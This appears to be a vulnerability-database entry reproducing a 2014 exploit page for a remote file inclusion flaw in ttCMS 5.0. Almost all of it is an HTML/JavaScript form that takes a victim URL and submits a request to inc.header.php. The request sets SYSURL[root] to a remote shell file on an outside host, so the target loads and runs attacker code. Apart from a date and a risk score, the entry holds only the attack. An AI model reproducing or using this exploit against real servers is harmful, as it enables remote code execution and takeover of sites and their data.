ttCMS 5.0 - Remote File Inclusion Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
ttCMS 5.0 Remote File Inclusion Vulnerability by ahmadbad

                                                &#60;html&#62;
&#60;head&#62;
&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=windows-1254&#34;&#62;
&#60;title&#62;coded by ahmadbady&#60;/title&#62;

&#60;script language=&#34;JavaScript&#34;&#62;

//===========================================================================
//( #Topic    : ttCMS_v5
//( #Bug type : remote file include
//( #Advisory : 
//===========================================================================
//( #Author : ItSecTeam
//( #Email  : [email protected]
//( #Website: http://www.itsecteam.com
//( #Forum  : http://forum.ITSecTeam.com
   
//---------------------------------------------------------------------


   var path=&#34;/_acp/templates/&#34;
   var file=&#34;inc.header.php&#34;
   var variable =&#34;?SYSURL[root]=&#34;
   var shell=&#34;http://ahmadbady.persiangig.com/other/a.txt?&#34;

   function it(){
  xpl.action= document.xpl.victim.value+path+file+variable+shell;xpl.submit();
   }
&#60;/script&#62;

&#60;/head&#62;

&#60;body bgcolor=&#34;#FFFFFF&#34;&#62;

&#60;p align=&#34;left&#34;&#62;&#60;font color=&#34;#0000FF&#34;&#62;&#60;b&#62;ttCMS_v5 remote file include&#60;/b&#62;&#60;/font&#62;&#60;/p&#62;
&#60;form method=&#34;post&#34; name=&#34;xpl&#34; onSubmit=&#34;it();&#34;&#62;
    &#60;p align=&#34;left&#34;&#62;
    &#60;b&#62;&#60;font face=&#34;Tahoma&#34; size=&#34;2&#34;&#62;&#60;font color=&#34;#FF0000&#34;&#62;example&#60;/font&#62;:http://victim/scriptpath&#60;/a&#62;&#60;/font&#62;
  	or
  	&#60;/font&#62;
  	&#60;font face=&#34;Tahoma&#34; size=&#34;2&#34; color=&#34;#000000&#34;&#62;http://victim&#60;/font&#62;&#60;font 
size=&#34;2&#34; face=&#34;Tahoma&#34;&#62;&#60;/a&#62; &#60;font size=&#34;2&#34;&#62;&nbsp;--&gt;&#60;/font&#62;&#60;/font&#62;&#60;/b&#62;&#60;font 
size=&#34;2&#34; face=&#34;Tahoma&#34;&#62;
  	&#60;input type=&#34;text&#34; name=&#34;victim&#34; size=&#34;20&#34;;&#34;&#62;&#60;/p&#62;
&#60;center&#62;

&#60;/p&#62;
  &#60;p&#62;&#60;input type=&#34;submit&#34; value=&#34;GO&#34; name=&#34;B1&#34; style=&#34;float: left&#34;&#62;&#60;input type=&#34;reset&#34; 
value=&#34;AGAIN&#34; name=&#34;B2&#34; style=&#34;float: left&#34;&#62;&#60;/p&#62;
&#60;/form&#62;
&#60;p&#62;&#60;br&#62;
&nbsp;&#60;/p&#62;
&#60;/center&#62;
&#60;/body&#62;

&#60;/html&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1